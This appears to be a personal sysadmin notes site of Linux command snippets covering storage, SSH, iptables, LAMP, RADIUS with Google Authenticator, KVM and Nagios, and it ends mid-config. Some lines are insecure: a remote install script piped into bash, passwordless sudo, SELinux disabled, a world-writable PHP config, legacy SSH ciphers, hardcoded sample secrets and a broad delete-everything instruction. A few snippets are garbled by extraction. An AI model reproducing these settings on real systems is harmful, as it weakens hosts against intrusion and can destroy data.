Smartcl ``` bash smartctl -H -d sat /dev/sda ``` ## While Loop ``` bash while true; do foo; sleep 2; done ``` ## For Loop ``` bash # Parellelize a for loop for thing in a b c d e f g; do task "$thing" & done ``` ## Moving Files with Spaces ``` bash while IFS= read -r file; do echo "$file"; done < files ``` ## IPv6 ### Disabling IPv6 ``` bash nano /etc/sysctl.conf net.ipv6.conf.all.disable_ipv6=1 net.ipv6.conf.default.disable_ipv6=1 net.ipv6.conf.lo.disable_ipv6=1 sudo sysctl -p ``` ## Fstab ### Automounting ``` bash # List all UUIDs of drives blkid # List all disks fdisk -l nano /etc/fstab UUID=05cdfcb3-90fc-40ec-8ff1-3324e3767b1d /media/data ext4 defaults,nofail 0 0 ``` ### Emergency Mode Bad Fstab ``` bash # Put SD card / HDD into another PC nano /boot/cmdline.txt init=/bin/sh # Put SD card / HDD back into original machine # Mount FS (but not fstab) mount -o remount,rw / –target / # Modify fstab nano /etc/fstab # modify what must be # Put SD card / HDD into another PC nano /boot/cmdline.txt # delete init=/bin/sh # Put SD card / HDD back into original machine ``` ## Swap ``` bash sudo swapon --show free -h df -h sudo fallocate -l 1G /swapfile sudo chmod 600 /swapfile sudo mkswap /swapfile sudo swapon /swapfile echo '/swapfile none swap sw 0 0' | sudo tee -a /etc/fstab ``` ## SSH Config Example: ``` bash cat ~/.ssh/config Host server LocalForward 2222 192.168.99.99:22 User ubuntu Hostname 192.168.100.1 IdentityFile ~/.ssh/server Host router User cisco Hostname 192.168.1.1 IdentityFile ~/.ssh/router Ciphers aes256-cbc Host switch User cisco Hostname 192.168.33.2 Ciphers aes256-cbc KexAlgorithms +diffie-hellman-group1-sha1 ``` ## OpenSSL ``` bash # https://stackoverflow.com/questions/5244129/use-rsa-private-key-to-generate-public-key # Generate public key from private openssl rsa -in mykey.pem -pubout > mykey.pub ``` ## Disk Usage ``` bash # Human readable output du -h mydir/ # Kilobytes du -k mydir/ # Megabytes du -m mydir/ # Which sub-dirs consume how much disk space: du -h --max-depth=1 mydir/ | sort -hr # List all items including files and dirs du -ah mydir/ # Multiple dirs du -h dir1/ dir2/ # Summary du -sh # Grand total of dirs du -sch dir/ # Exclude: du -sh --exclude='*.docx' ``` ### Order by Size ``` bash du | sort -nr | cut -f2- | xargs du -hs ``` ## Formatting Disk ``` bash # List disks df -h fdisk -l # Unmount disk to format sudo umount /dev/sdc1 # vFAT, NTFS, EXT4, etc.: sudo mkfs.vfat /dev/sdc1 sudo mkfs.ntfs /dev/sdc1 sudo mkfs.ext4 /dev/sdc1 ``` ## ISO to Disk ``` bash sudo dd if=~/Downloads/ubuntu_something.iso of=/dev/diskN ``` ## Check SSL Certificate Expiry Date ``` bash echo | openssl s_client -servername www.calebsargeant.com -connect www.calebsargeant.com:443 | openssl x509 -noout -dates ``` ## Inodes ``` bash df -i ``` ``` bash { find / -xdev -printf '%h\n' | sort | uniq -c | sort -k 1 -n; } 2>/dev/null ``` ## Mail ## Grep ``` bash # exclude nologin grep -wv nologin /etc/passwd # recursive lookups - https://stackoverflow.com/questions/1987926/how-do-i-grep-recursively grep -r "texthere" . ``` ## Tail ``` bash ## https://stackoverflow.com/questions/39615142/bash-get-last-line-from-a-variable # Get last line tail -n1 ``` ## SFTP ### Pass Variable into SFTP ``` bash sftp -i key.pem -b - un@server <<< "get /some/path/with/$yr" ``` ## Curl ### Uploading Files ``` bash curl https://EXAMPLE \ -F 'one=sometext' \ -F 'two=someothertext' \ -F 'three=somemoretext' \ -F 'doc=@/Users/caleb/Documents/Test.docx; type=application/vnd.openxmlformats-officedocument.wordprocessingml.document' ``` ### Curl to SFTP ``` bash curl -v --insecure --user username:urlencodedPassword sftp://somedomain.com ``` ## TCPDump Get all https traffic: ``` bash tcpdump -nnSX port 443 ``` Get just port 443 ``` bash tcpdump port 443 ``` Get from specific source: ``` bash tcpdump src 10.3.0.4 ``` Dump from an interface: ``` bash tcpdump -i eth0 ``` Putting it all together: ``` bash tcpdump -i enp1s9 dst 192.168.6.1 and src 192.168.6.2 and src port 80 ``` ## Find ``` bash find ~ -name foldername -type d ``` ``` bash find . -name "foo*" ``` ``` bash find /path/to/files* -mtime +5 -exec rm {} \; ``` ## Screen ### Using Screen ``` bash # Create screen called caleb screen -S caleb # Go into screen called caleb screen -r -d caleb ``` ### List Running Sessions ``` bash screen -ls ls -laR /var/run/screen ``` ### Kill a Detached Session ``` bash screen -X -S [session # you want to kill] quit ``` ### Detatch Session :~:text=Leaving%20Screen%20Terminal%20Session,K%E2%80%9D%20to%20kill%20the%20screen. Ctrl-A d ## Generating SSH Keys ``` bash ### ON THE CLIENT # Generate a public key on the client ssh-keygen -t rsa -b 4096 ### Output #Generating public/private rsa key pair. #Enter file in which to save the key (/home/ubuntu/.ssh/id_rsa): #Enter passphrase (empty for no passphrase): #Enter same passphrase again: #Your identification has been saved in /home/ubuntu/.ssh/id_rsa. #Your public key has been saved in /home/ubuntu/.ssh/id_rsa.pub. #The key fingerprint is: #SHA256:random # Copy public key to server (you will be required to authenticate) ssh-copy-id ubuntu@10.0.2.12 ### Output # /usr/bin/ssh-copy-id: INFO: Source of key(s) to be installed: "/home/ubuntu/.ssh/id_rsa.pub" # /usr/bin/ssh-copy-id: INFO: attempting to log in with the new key(s), to filter out any that are already installed # /usr/bin/ssh-copy-id: INFO: 1 key(s) remain to be installed if you are prompted now it is to install the new keys # ubuntu@10.0.2.12's password: # Number of key(s) added: 1 # Now try logging into the machine, with: "ssh 'ubuntu@10.0.2.12'" # and check to make sure that only the key(s) you wanted were added. # You can add IdentitiesOnly yes to ensure ssh uses the IdentityFile and no other keyfiles during authentication, which can cause issues and is not a good practice. vim ~/.ssh/config Host SERVERNAME Hostname ip-or-domain-of-server User USERNAME PubKeyAuthentication yes IdentityFile ./path/to/key ``` ## Sudo without Password ``` bash # DO NOT MAKE A MISTAKE visudo %sudo ALL=(ALL:ALL) NOPASSWD:ALL ``` ## Compression ### Gzip ``` bash gzip -d file.gz ``` ### Zip ``` bash yum -y install zip unzip zip -9 -r unzip file.zip ``` ### Bunzip ``` bash bunzip2 myfile.bz2 tar xjvf myfile.tar.bz2 ``` ### Tar A good source for `tar` commands . **.tar** ``` bash tar -cvf myarchive.tar mydirectory/ tar -xvf mystuff.tar ``` **.tar.gz** ``` bash tar -czvf myarchive.tgz mydirectory/ tar -xzvf mystuff.tgz ``` **Tar to CIFS:** ``` bash # Backup the MySQL database mysqldump zabbix > backup.sql # Install cifs-utils apt-get install cifs-utils # Create mountpoint dir mkdir /mnt/data # Mount the share mount -t cifs //10.10.10.10/share /mnt/data -o user=administrator # Archive Zabbix config & DB tar cfzv backup.tar.gz /etc/zabbix/ backup.sql # Copy to share cp backup.tar.gz /mnt/data/ ``` **Tar exclude:** ``` bash tar --exclude='./folder' --exclude='./upload/folder2' \ -zcvf /backup/filename.tgz . ``` ``` bash tar -czvf /location/my.tar.gz --exclude='/dir1' --exclude='/dir2' /dir/to/tar ``` ## PDF to CSV ``` bash TABULARNAME=tabula-1.0.3-jar-with-dependencies.jar YEAR=2019 MONTH=08 java -jar ./$TABULARNAME -b ./$YEAR/$MONTH -t -p all ``` ## Installing GUI on CentOS `yum groupinstall "Desktop" "Desktop Platform" "X Window System" "Fonts"` ## List Samba Users pbdedit -L ## Open Webpage on Mac `open -a "Google Chrome" index.html` ## Running FSCK Manually You get a message: (or something similar) /dev/mapper/vg_fedora1530-lv-home: UNEXPECTED INCONSISTENCY: RUN fsck MANUALLY (i.e., without -a or -p options) Try the following: 1. Type the following commands: umount /dev/sda\* fsck /dev/sda1 -f -y -a (see for syntax of fsck) ## Nginx ``` bash sudo nginx -t && sudo nginx -s reload ``` ## Xen ### Manually Starting ``` bash xm list cd /etc/xen/ ls xm create ping xm list ``` ### Install Xen ``` bash yum install xen virt-manager kernel-xen chkconfig xend on reboot ``` ### Mount CD for Image of OS ``` bash mkdir /media/cdrom mount -t -o ro /dev/cdrom /media/cdrom ``` ### Install VM `virt-install --prompt (yes centos 512 /home/vm/centos /media/cdrom)` ### Launch VM to Create Virtual OS ``` bash # NOTE to exit startx press ctrl,alt,bkspce startx virt-manager ``` ## Skel Terminal Colours ``` bash mv .bashrc .bashrc.bak cp /etc/skel/.bashrc .bashrc nano .bashrc # uncomment this: force_color_prompt=yes # add this to the bottom of the file [[ -s "$HOME/.rvm/scripts/rvm" ]] && source "$HOME/.rvm/scripts/rvm" . .bashrc ``` ## Move a File Starting with Dash ``` bash # https://www.cyberciti.biz/faq/linuxunix-move-file-starting-with-a-dash/ mv -- '--bar.txt' /path/to/dest ``` ## LFTP ## Rename a File to a Filename with Date `` cp .`date -I ``\` ## Checking CPU Architecture `uname -i` ## Checking Uptime `uptime` ## Crontab different editor ``` bash export EDITOR="nano" export VISUAL="nano" ``` ## TigerVNC ``` bash yum install vnc vnc-server tigervnc-server xterm yum groupinstall Desktop useradd passwd vi /etc/sysconfig/vncservers VNCSERVERS="1: 2: 3:" VNCSERVERARGS[1]="-geometry 640x480" VNCSERVERARGS[2]="-geometry 640x480" VNCSERVERARGS[3]="-geometry 800x600" # Remember to delete the nonsense after: " su - vncpasswd service vncserver start # To connect to a Windows machine, install tiger-vnc on the Windows machine and enable Remote Desktop. Allow RDP 3389 through firewall. ``` ## Old School LAMP ### Features - Apache (hosts the website) - MySQL (Database server) - PHP (hypertext processor) - Joomla (creates the website. Dependant on PHP and MYSQL) ### Installation **My SQL Server 5.0 (server & client)** ``` bash yum install mysql mysql-server chkconfig --levels 235 mysqld on /etc/init.d/mysqld start mysql_secure_installation ``` **Apache 2** () (Apache's default document root is /var/www/html on CentOS, and the configuration file is /etc/httpd/conf/httpd.conf. Additional configurations are stored in the /etc/httpd/conf.d/ directory) ``` bash yum install httpd chkconfig --levels 235 httpd on /etc/init.d/httpd start ``` **PHP5** ``` bash yum install php /etc/init.d/httpd restart vi /var/www/html/info.php ``` **MySQL Support for PHP5** () ``` bash yum search php yum install php-mysql php-gd php-imap php-ldap php-mbstring php-odbc php-pear php-xml phpxmlrpc yum install php-pecl-apc /etc/init.d/httpd restart ``` **phpMyAdmin** () ``` bash rpm --import http://dag.wieers.com/rpm/packages/RPM-GPG-KEY.dag.txt # 64-bit: yum install http://pkgs.repoforge.org/rpmforge-release/rpmforge-release-0.5.2-2.el6.rf.x86_64.rpm # 32-bit yum install http://pkgs.repoforge.org/rpmforge-release/rpmforge-release-0.5.2-2.el6.rf.i686.rpm yum install phpmyadmin vi /etc/httpd/conf.d/phpmyadmin.conf # # Web application to manage MySQL # # # Order Deny,Allow # Deny from all # Allow from 127.0.0.1 # Alias /phpmyadmin /usr/share/phpmyadmin Alias /phpMyAdmin /usr/share/phpmyadmin vi /usr/share/phpmyadmin/config.inc.php [...] /* Authentication type */ $cfg['Servers'][$i]['auth_type'] = 'http'; [...] /etc/init.d/httpd restart ``` **Joomla!** If you are installing LAMP without Joomla then skip all the commands that have anything to do with Joomla. ``` bash cd /tmp yum install wget wget joomlacode.org/gf/download/frsrelease/17715/77262/Joomla_2.5.8-Stable-Full_Package.zip mkdir /tmp/joomla unzip Joomla_2.5.8-Stable-Full_Package.zip /tmp/joomla/ mv /tmp/joomla/* /var/www/html/ service mysqld start; chkconfig mysqld on /usr/bin/mysql_secure_installation yum --enablerepo=epel install phpmyadmin vi /etc/httpd/conf.d/phpMyAdmin.conf Allow from 127.0.0.1 xxx.xxx.xxx.xxx/24 iptables -I INPUT -p tcp --dport http -j ACCEPT ; service iptables save ; service iptables restart vi /etc/php.ini output_buffering=Off touch /var/www/html/configuration.php chmod 666 /var/www/html/configuration.php service httpd start; chkconfig httpd on mysql -u root -p create database create user 'root'@'localhost' identified by ''; grant all privileges on .* to root@localhost; show grants for 'root'@'localhost'; ``` Open up a web browser and type in . Follow the wizard. REMEMBER TO COPY CONFIGURATION TEXT TO /var/www/html/configuration.php. `rm -rf /var/www/html/installation/` You can access the server by going to a browser and typing . ## Git Server ### On the Server **Installing Git** ``` bash yum install git-core ``` **Configuring the git group** ``` bash groupadd git ``` For a new user: ``` bash useradd -G git passwd id ``` For an existing user: ``` bash usermod -a -G git id ``` **Configuring the Git Server Repository** ``` bash mkdir /path/to/gits cd /path/to/gits mkdir project.git cd project.git git init --bare --shared=group sudo chmod -R g+ws * sudo chgrp -R git * ``` **Configuring the Git Hook for Web code** ``` bash mkdir /var/www/html/project cd /path/to/gits/project.git vi /hooks/post-recieve #!/bin/sh GIT_WORK_TREEE=/var/www/html/project git checkout -f chmod +x hooks/post-receive chown -R git:git * ``` ### On the Client's Machine Download and install: ``` bash mkdir /path/to/gits cd /path/to/gits mkdir project.git cd project.git git init git remote add web ssh:///full/path/to/project.git git add README git commit -m "Initial Import" git push web +master:refs/heads/master ``` Then open Firefox, go to \/project Then in future: git push web Please note that you wont see any files on the server, because it is a bare repository and therefore the files are protected. You can create a Git Hook to expose the bare repository's files in a different directory (useful for web code). Use git clone \/path/to/gits to clone an existing server repository. ## Age of System ``` bash ubuntu@server:~$ sudo tune2fs -l /dev/sda2 | grep created Filesystem created: Mon Sep 7 06:49:22 2020 ``` ## List all Services ``` bash systemctl list-units --type=service systemctl --type=service ``` ## Temporary Failure in Name Resolution ``` bash sudo systemctl disable systemd-resolved.service sudo systemctl stop systemd-resolved.service sudo rm /etc/resolv.conf echo "nameserver 1.1.1.1" > /etc/resolv.conf echo "nameserver 1.0.0.3" >> /etc/resolv.conf ``` ## Change Hosname ``` bash sudo hostnamectl set-hostname SERVERNAME nano /etc/hosts ``` ## Google Authenticator ### CentOS 7 ``` bash # Update and Upgrade yum -y update && yum -y upgrade # Install FreeRADIUS yum install freeradius freeradius-utils # Install nano yum install nano # Make root the user nano /etc/raddb/radiusd.conf user = root group = root # Enable PAM nano /etc/raddb/sites-enabled/default # Pluggable Authentication Modules. pam ln -s /etc/raddb/mods-available/pam /etc/raddb/mods-enabled/pam # Add the RADIUS clients nano /etc/raddb/clients.conf client asa { ipaddr = 10.145.16.3 secret = supersecuresecret nas_type = cisco } # Change auth type nano /etc/raddb/users DEFAULT Group == "disabled", Auth-Type := Reject Reply-Message = "Your account has been disabled." DEFAULT Auth-Type := PAM # Reload radiusd service radiusd restart # Test RADIUS, look for any errors radiusd -X # Test RADIUS without LDAP or Google Auth useradd raduser passwd raduser radtest raduser Password1 localhost 0 testing123 # Installing tools to add box to domain yum install sssd realmd adcli oddjob oddjob-mkhomedir sssd samba-common-tools # Make computer join the domain realm join corp.domain.com -U caleb.sargeant # Configure SSSD nano /etc/sssd/sssd.conf ad_domain = corp.domain.com krb5_realm = CORP.DOMAIN.COM realmd_tags = manages-system joined-with-samba cache_credentials = True id_provider = ad krb5_store_password_if_offline = True default_shell = /bin/bash ldap_id_mapping = True use_fully_qualified_names = False fallback_homedir = /home/%u access_provider = simple simple_allow_groups = test-group # Allow only users part of test-group to auth with radius server realm permit -g test-group ### SSH into the box with caleb.sargeant@ct-googleauth - not needed anymore, become the user via su only # Reload radiusd & SSSD service radiusd restart service sssd restart # Test RADIUS with LDAP, without Google Auth radiusd -X radtest caleb.sargeant localhost 0 testing123 # Install stuff for Google Authenticator yum install pam-devel make gcc-c++ git wget # Installing Google Authenticator cd /tmp wget https://dl.fedoraproject.org/pub/epel/7/x86_64/Packages/g/google-authenticator-1.04-1.el7.x86_64.rpm rpm -i google-authenticator-1.04-1.el7.x86_64.rpm # Configuring Google Authenticator for a user su - caleb.sargeant google-authenticator ### say y for everything, backup the numbers! # Add Google Authenticator to PAM nano /etc/pam.d/radiusd #%PAM-1.0 auth requisite pam_google_authenticator.so forward_pass auth required pam_sss.so use_first_pass account required pam_nologin.so account include password-auth session include password-auth # Test RADIUS with LDAP and Google Auth radtest caleb.sargeant localhost 0 testing123 # Disable SELinux nano /etc/selinux/config SELINUX=disabled # Configuring firewall firewall-cmd --get-default-zone firewall-cmd --zone=public --list-all firewall-cmd --get-services | grep rad firewall-cmd --permanent --zone=public --add-service=radius firewall-cmd --reload ``` ### Cisco AnyConnect Connection The below guide shows one how to connect to the VPN using one's OTP. The connection is exactly the same as the previous VPN connection. - To connect to the VPN using MFA, first connect to your region. ![google authenticator](_images/google-authenticator-1.png) - Select the MFA Group. ![google authenticator](_images/google-authenticator-2.png) - Enter your credentials. Once you have finished typing in your password, enter your TOTP. In this example, I will be using *Google Authenticator* on Android. The format is YOURPASSWORD-OTP (without the "-"). ![google authenticator](_images/google-authenticator-3.png) ![google authenticator](_images/google-authenticator-4.png) - You will be connected to the VPN as per normal. ![google authenticator](_images/google-authenticator-5.png) ## LDAP Authentication ### Public Key Authentication First, on the host, reset the password of ubuntu & root ``` bash ubuntu@hostname:~$ sudo su - root@hostname:~# passwd ubuntu root@hostname:~# passwd root ``` Modify the sudoers file, so that we don't have type in the password to become root. DO NOT make a mistake here. ``` bash visudo %sudo ALL=(ALL:ALL) NOPASSWD:ALL ``` On your laptop, copy the sshkey to the host ``` bash name.surname@MacBookPro:~$ sudo ssh-copy-id -i key.pub ubuntu@hostname ``` You can now log into the host using ubuntu & the key. ### SSSD Modify the sudoers ``` bash # Add Infrasturcture Team to Sudoers nano /etc/sudoers.d/ad-ldap %Infrastructure\ Team ALL=(ALL:ALL) NOPASSWD:ALL # Change permissions on sudoers file to Owner & Group readable only chmod 440 /etc/sudoers.d/ad-ldap ``` Install SSSD & Related Tools ``` bash apt-get install samba-common sssd sssd-tools realmd adcli oddjob oddjob-mkhomedir libnss-sss libpam-sss adcli -y ``` Join the domain ``` bash sudo realm join corp.example.com -U caleb.sargeant --install=/ ``` SSSD Configuration ``` bash # Add or modify the below nano /etc/sssd/sssd.conf use_fully_qualified_names = False fallback_homedir = /home/%u skel_dir = /etc/skel homedir_umask = 000 override_homedir = /home/%u simple_allow_groups = Infrastructure\ Team ``` Restart SSSD ``` bash service sssd restart ``` You can now log in to the host using your domain credentials To add Duo Authentication push notifications, see [here](../cloud/duo.md#unix-ssh). ## Gcloud ### Installation ``` bash curl https://sdk.cloud.google.com | bash # The next line updates PATH for the Google Cloud SDK. source '[path-to-my-home]/google-cloud-sdk/path.bash.inc' # The next line enables bash completion for gcloud. source '[path-to-my-home]/google-cloud-sdk/completion.bash.inc' ``` ## Find the PID Using Port ``` bash sudo ss -lptn 'sport = :80' sudo netstat -nlp | grep :80 sudo lsof -n -i :80 | grep LISTEN ``` ## Unmounting a Busy Device ``` bash umount -l /PATH/OF/BUSY-DEVICE umount -f /PATH/OF/BUSY-NFS (NETWORK-FILE-SYSTEM) ``` ## Ubuntu Resize Logical Volume ``` bash vgdisplay lvextend -l +100%FREE /dev/mapper/ubuntu--vg-ubuntu--lv resize2fs /dev/mapper/ubuntu--vg-ubuntu--lv ``` ## Wget ### Download a list of files ``` bash wget -i text_file.txt ``` ## Cat & Tac ``` bash # Flip a file into another tac a.txt > b.txt ``` ## WC :~:text=3.-,wc,the%20name%20of%20the%20file. ``` bash # Get the number of lines in a file wc -l file.txt ``` ## Decrypt GPG ``` bash gpg -d myfinancial.info.txt.gpg ``` ## Forget GPG Invalid Password ``` bash gpgconf --kill gpg-agent ``` ## List DNS Servers Ubuntu ``` bash nmcli device show | grep IP4.DNS systemd-resolve --status ``` ## Install WireGuard VPN Client ``` bash sudo apt-get install wireguard cd /etc/wireguard wg genkey | tee private.key | wg pubkey > public.key sudo nano /etc/wireguard/wg0.conf [Interface] PrivateKey = Address = 10.0.0.1/24 PostUp = iptables -A FORWARD -i wg0 -j ACCEPT; iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE PostDown = iptables -D FORWARD -i wg0 -j ACCEPT; iptables -t nat -D POSTROUTING -o eth0 -j MASQUERADE ListenPort = 51820 [Peer] PublicKey = AllowedIPs = 10.0.0.2/32 sudo wg-quick up wg0 sudo wg show ``` ## Install Docker on Amazon Linux 2 ``` bash yum install docker usermod -a -G docker ec2-user newgrp docker yum install python3-pip pip3 install docker-compose systemctl enable docker.service ``` --- # Linux Source: docs/computing/linux/index.md URL: https://docs.calebsargeant.com/computing/linux/ --- # IPTables Source: docs/computing/linux/iptables.md URL: https://docs.calebsargeant.com/computing/linux/iptables/ ## Multiple Ports ``` bash iptables -A INPUT -p tcp --match multiport --dports 110,143,993,995 -j ACCEPT ``` ## Adding a Rule ``` bash iptables -A INPUT -p tcp -s 192.168.0.0/24 --dport 22 -j ACCEPT ``` ### Specific Position ``` bash iptables -I INPUT 1 -i eth2 -d 10.147.88.2 -j ACCEPT ``` ## Comments :~:text=To%20add%20a%20comment%20to,rule%20in%20the%20INPUT%20chain.&text=We%20can%20verify%20that%20the,running%20the%20following%20iptables%20command. ``` bash iptables -A INPUT -p tcp --dport 22 -m comment --comment "allow ssh" iptables -A INPUT -p udp --dport 53 -j ACCEPT iptables -A OUTPUT -p udp --dport 53 -j ACCEPT ``` ## Allowing Incoming Traffic after Changing Default Policy ``` bash iptables -I INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT ``` ## Deleting a Rule ``` bash # replace -A with -D iptables -A # becomes iptables -D ``` ## DNS Resolve Issues ``` bash iptables -A INPUT -p udp --sport 53 -j ACCEPT iptables -A INPUT -p udp --dport 53 -j ACCEPT ``` ## Port Forwarding ``` bash echo '1' | sudo tee /proc/sys/net/ipv4/conf/eth0/forwarding iptables -t nat -A PREROUTING -p tcp -m tcp --dport 3333 -j DNAT --to-destination 10.0.0.4:3333 iptables -A FORWARD -p tcp -s 10.3.0.4 —dport 3333 -j ACCEPT iptables -t nat -A POSTROUTING -o eth0 -p tcp -m tcp --dport 3333 -j MASQUERADE ``` ## Persistent Rules ``` bash netfilter-persistent save netfilter-persistent reload ``` ``` bash iptables-save > /etc/iptables/rules.v4 ``` ``` bash sudo apt install iptables-persistent ``` ## Listing Rules ``` bash iptables -v -L ``` ## Allow Only Certain IP Ranges ``` bash iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT iptables -A INPUT -i lo -m comment --comment "Allow loopback connections" -j ACCEPT iptables -A INPUT -p icmp -m comment --comment "Allow Ping to work as expected" -j ACCEPT iptables -A INPUT -s 192.168.1.0/24 -j ACCEPT iptables -A INPUT -s 198.51.100.0 -j ACCEPT iptables -P INPUT DROP iptables -P FORWARD DROP ``` ## Logging ``` bash -A INPUT -j LOG --log-prefix "Dropped INPUT Packet: " -A FORWARD -j LOG --log-prefix "Dropped FORWARD Packet: " ``` ## Docker ``` bash -A DOCKER-USER -s 172.0.0.0/8 -m comment --comment "Allow docker to talk to itself" -j ACCEPT -A DOCKER-USER -s 34.107.59.86/32 -m comment --comment "whitelist a specific IP Address" -j ACCEPT -A DOCKER-USER -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT -A DOCKER-USER -j DROP ``` --- # KVM Source: docs/computing/linux/kvm.md URL: https://docs.calebsargeant.com/computing/linux/kvm/ ``` bash # Install dependancies, virtmanager, etc. apt-get install --no-install-recommends qemu-system libvirt-clients libvirt-daemon-system virtinst qemu-utils libosinfo-bin # To get a list of IDs for --os-variant: osinfo-query os # Install the VM virt-install --name=windows10 --vcpus=2 --memory=4096 --cdrom=/media/data/share/Software/ISO/Win10_2004_English_x64.iso --disk size=32 --os-variant=win10 ``` ``` bash # Create default.xml to define network settings. We want bridged mode to ensure VM gets its own IP. nano ~/default.xml default c9f4a06b-1ddb-4057-8eda-858955e205c8 # Example netplan config BEFORE cat 00-installer-config.yaml network: ethernets: enp4s0: addresses: - 192.168.32.32/24 gateway4: 192.168.32.1 nameservers: addresses: - 1.1.1.1 - 1.0.0.1 search: - mydomain.com version: 2 # Example netplan config AFTER cat /etc/netplan/00-installer-config.yaml network: ethernets: enp4s0: dhcp4: false dhcp6: false bridges: br0: interfaces: [ enp4s0 ] addresses: - 192.168.32.32/24 gateway4: 192.168.32.1 nameservers: addresses: - 1.1.1.1 - 1.0.0.1 parameters: stp: true forward-delay: 4 dhcp4: no dhcp6: no version: 2 ``` Okay then a couple of things: > ``` bash > # Modify windows10 domain settings to change to vnc & port > virsh edit windows10 > > > > # Boot device must be changed to cdrom: > > hvm > > > > # Then destroy (stop) VM and start again (reboot wont apply setting change) > virsh destroy windows10 > virsh start windows10 > > # Then INSTALL Windows > > # then: > virsh edit windows10 > change back to hd > > hvm > > > > # Then destroy (stop) VM and start again (reboot wont apply setting change) > virsh destroy windows10 > virsh start windows10 > > # Output of this needs to show 0.0.0.0:5950 (nice hat) to show that its listening on all interfaces > netstat -tulpn | grep 59 > tcp 0 0 0.0.0.0:5950 0.0.0.0:* LISTEN 26523/qemu-system-x > #redacted > > #but it will actually ask you to boot from cd-dvd so not to actually worry about changing it - it will make it a few seconds faster to boot though, so change it after install complete > ``` You may need to add a rule through iptables, or just disable it (NO DONT - BAD IDEA!!!) Autostart settings: ``` bash virsh autostart windows10 virsh autostart windows10 --disable ``` Location of images: ``` bash /var/lib/libvirt/images/windows10.qcow2 ``` --- # Monitoring Source: docs/computing/linux/monitoring.md URL: https://docs.calebsargeant.com/computing/linux/monitoring/ ## Zabbix ### Slack Alerting **Configuring Slack** Go to . Create a new app called "Zabbix". ![zabbix slack](_images/zabbix-slack-2.png) Create an *Incoming Webhook*. ![zabbix slack](_images/zabbix-slack-3.png) ![zabbix slack](_images/zabbix-slack-4.png) Copy the curl request to `/usr/lib/zabbix/alertscripts/slackalerts.sh`. ![zabbix slack](_images/zabbix-slack-5.png) Change `'{"text":"Hello, World!"}'` to `'{"text":"'"$1"'"}'`. Test your configuration on Zabbix with `/usr/lib/zabbix/alertscripts/slackalerts.sh test`. **Configuring Zabbix** Create the *Media Type* in Zabbix. ![zabbix slack](_images/zabbix-slack-1.png) Create an *Action* and an *Operation* in *Operations*, *Recovery operations*, and *Update operations*. Nice *Default subjects* to use: Create `{ZABBIX.SERVER}` in **Administration** \> **General** \> **Macros** - `[{ZABBIX.SERVER}] - [{HOST.HOST}] Problem: {EVENT.NAME}` - `[{ZABBIX.SERVER}] - [{HOST.HOST}] Resolved: {EVENT.NAME}` - `[{ZABBIX.SERVER}] - [{HOST.HOST}] Updated problem: {EVENT.NAME} - {USER.FULLNAME}` ![zabbix slack](_images/zabbix-slack-6.png) ![zabbix slack](_images/zabbix-slack-7.png) Add the *Media* to the Administrator. ![zabbix slack](_images/zabbix-slack-8.png) ## Nagios ### Install Nagios Client on Ubuntu ``` bash apt update apt install nagios-nrpe-server nagios-plugins nano /etc/nagios/nrpe.cfg allowed_hosts=127.0.0.1, 192.168.1.100 systemctl restart nagios-nrpe-server ``` --- # Nagios Source: docs/computing/linux/nagios.md URL: https://docs.calebsargeant.com/computing/linux/nagios/ ## Installing NRPE ``` bash cd /tmp wget http://assets.nagios.com/downloads/nagiosxi/agents/linux-nrpe-agent.tar.gz tar xzf linux-nrpe-agent.tar.gz cd linux-nrpe-agent ./fullinstall ``` ## Uninstalling NRPE ``` bash # Remove XINETD daemon sudo rm -f /etc/xinetd.d/nrpe sudo systemctl restart xinetd # Stop and remove dedicated daemon sudo systemctl stop nrpe.service sudo systemctl disable nrpe.service sudo rm -f /lib/systemd/system/nrpe.service sudo systemctl daemon-reload # Delete NRPE Files sudo rm -f /usr/local/nagios/bin/nrpe* sudo rm -f /usr/local/nagios/etc/nrpe* sudo rm -f /usr/local/nagios/libexec/*nrpe* ``` ## Install Nagios Core ``` bash # Install prerequisites sudo apt install -y build-essential apache2 php openssl perl make php-gd libgd-dev libapache2-mod-php libperl-dev libssl-dev daemon wget apache2-utils unzip # User account sudo useradd nagios sudo groupadd nagios sudo usermod -a -G nagios nagios sudo usermod -a -G nagios www-data # Download Nagios cd /tmp wget https://assets.nagios.com/downloads/nagioscore/releases/nagios-4.4.5.tar.gz tar -zxvf /tmp/nagios-4.4.5.tar.gz cd /tmp/nagios-4.4.5/ # Compile Nagios sudo ./configure --with-nagios-group=nagios --with-command-group=nagios --with-httpd_conf=/etc/apache2/sites-enabled/ sudo make all sudo make install sudo make install-init sudo make install-config sudo make install-commandmode sudo make install-webconf cd /tmp/nagios-4.4.5$ sudo htpasswd -c /usr/local/nagios/etc/htpasswd.users sudo a2enmod cgi sudo systemctl restart apache2 # Nagios Plugins cd /tmp wget https://nagios-plugins.org/download/nagios-plugins-2.3.3.tar.gz tar -zxvf /tmp/nagios-plugins-2.3.3.tar.gz cd /tmp/nagios-plugins-2.3.3/ sudo ./configure --with-nagios-user=nagios --with-nagios-group=nagios sudo make sudo make install # Using Nagios sudo /usr/local/nagios/bin/nagios -v cd /usr/local/nagios/etc/nagios.cfg sudo systemctl enable nagios sudo systemctl start nagios ``` ## Uninstall Nagios ``` bash Stop the Nagios daemon Remove the web conf, if you installed it Remove the user and group that you added for Nagios Remove the init script Remove /usr/local/nagios directory find / -iname '*nagios*' delete everything ``` ## Errors ### (No output on stdout) stderr: ``` bash sudo apt-get install nagios-plugins ``` ## Adding Linux Hosts ### On the Nagios Box ``` bash # Create the host in config (see below example config file) nano /etc/nagios3/conf.d/server.fqdn.com.cfg # ALWAYS verify Nagios config before reloading service, ensure that there are no errors (warnings are okay) cd /etc/nagios3/ nagios3 -v nagios.cfg # If no errors, you should be safe to reload nagios service (DO NOT restart service) /etc/init.d/nagios3 reload ``` **Example config file** (the last service is a custom service check example): ``` bash define host { address server.example.com alias server.example.com check_command check_ping!100.0,20%!500.0,60% host_name server.example.com hostgroups ubuntu_hosts max_check_attempts 3 notification_period 24x7 use generic-host } define hostextinfo { host_name server.example.com icon_image base/ubuntu.png icon_image_alt Ubuntu statusmap_image base/ubuntu.gd2 } define service { check_command check_nrpe!check_load display_name CPU Load host_name server.example.com max_check_attempts 3 notification_period 24x7 service_description CPU Load use generic-service } define service { check_command check_nrpe!check_mem display_name Memory host_name server.example.com max_check_attempts 3 notification_period 24x7 service_description Memory use generic-service } define service { check_command check_nrpe!check_vda1 display_name Disk Status host_name server.example.com max_check_attempts 